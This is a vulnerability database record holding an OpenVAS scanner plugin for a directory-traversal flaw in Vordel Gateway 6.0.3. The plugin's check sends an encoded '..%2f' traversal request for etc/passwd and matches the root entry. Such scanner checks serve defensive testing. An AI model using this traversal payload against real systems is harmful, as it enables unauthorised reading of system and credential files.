DATABASE RESOURCES PRICING ABOUT US

{"id": "OPENVAS:103163", "type": "openvas", "bulletinFamily": "scanner", "title": "Vordel Gateway Directory Traversal Vulnerability", "description": "Vordel Gateway is prone to a directory-traversal vulnerability because\nit fails to sufficiently sanitize user-supplied input.\n\nA remote attacker could exploit this vulnerability using directory-\ntraversal strings (such as '../') to gain access to arbitrary files on\nthe targeted system. This may result in the disclosure of sensitive\ninformation or lead to a complete compromise of the affected computer.\n\nVordel Gateway 6.0.3 is vulnerable; other versions may also be\naffected.", "published": "2011-05-31T00:00:00", "modified": "2017-08-30T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "http://plugins.openvas.org/nasl.php?oid=103163", "reporter": "This script is Copyright (C) 2011 Greenbone Networks GmbH", "references": ["http://www.vordel.com/", "https://www.upsploit.com/index.php/advisories/view/UPS-2011-0023", "https://www.securityfocus.com/bid/47975"], "cvelist": [], "lastseen": "2017-09-04T14:19:47", "viewCount": 15, "enchantments": {"score": {"value": 0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "nessus", "idList": ["HTTP_VERSION.NASL"]}]}, "exploitation": null, "vulnersScore": 0.0}, "pluginID": "103163", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_vordel_gateway_47975.nasl 7024 2017-08-30 11:51:43Z teissa $\n#\n# Vordel Gateway Directory Traversal Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"Vordel Gateway is prone to a directory-traversal vulnerability because\nit fails to sufficiently sanitize user-supplied input.\n\nA remote attacker could exploit this vulnerability using directory-\ntraversal strings (such as '../') to gain access to arbitrary files on\nthe targeted system. This may result in the disclosure of sensitive\ninformation or lead to a complete compromise of the affected computer.\n\nVordel Gateway 6.0.3 is vulnerable; other versions may also be\naffected.\";\n\ntag_solution = \"Reportedly, the issue is fixed; however, Symantec has not confirmed\nthis. Please contact the vendor for more information.\";\n\nif (description)\n{\n script_id(103163);\n script_version(\"$Revision: 7024 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-08-30 13:51:43 +0200 (Wed, 30 Aug 2017) $\");\n script_tag(name:\"creation_date\", value:\"2011-05-31 13:49:33 +0200 (Tue, 31 May 2011)\");\n script_bugtraq_id(47975);\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n\n script_name(\"Vordel Gateway Directory Traversal Vulnerability\");\n\n script_xref(name : \"URL\" , value : \"https://www.securityfocus.com/bid/47975\");\n script_xref(name : \"URL\" , value : \"https://www.upsploit.com/index.php/advisories/view/UPS-2011-0023\");\n script_xref(name : \"URL\" , value : \"http://www.vordel.com/\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2011 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\");\n script_require_ports(\"Services/www\", 8090);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"global_settings.inc\");\n \nport = get_http_port(default:80);\nif(!get_port_state(port))exit(0);\n\nurl = string(\"/manager/\", crap(data:\"..%2f\",length:9*5),\"etc%2Fpasswd\"); \n\nif(http_vuln_check(port:port, url:url, pattern:\"root:x:0:[01]:.*\")) {\n \n security_message(port:port);\n exit(0);\n\n}\n\nexit(0);\n\n", "naslFamily": "Web application abuses", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647589307, "score": 1659709850}}

{}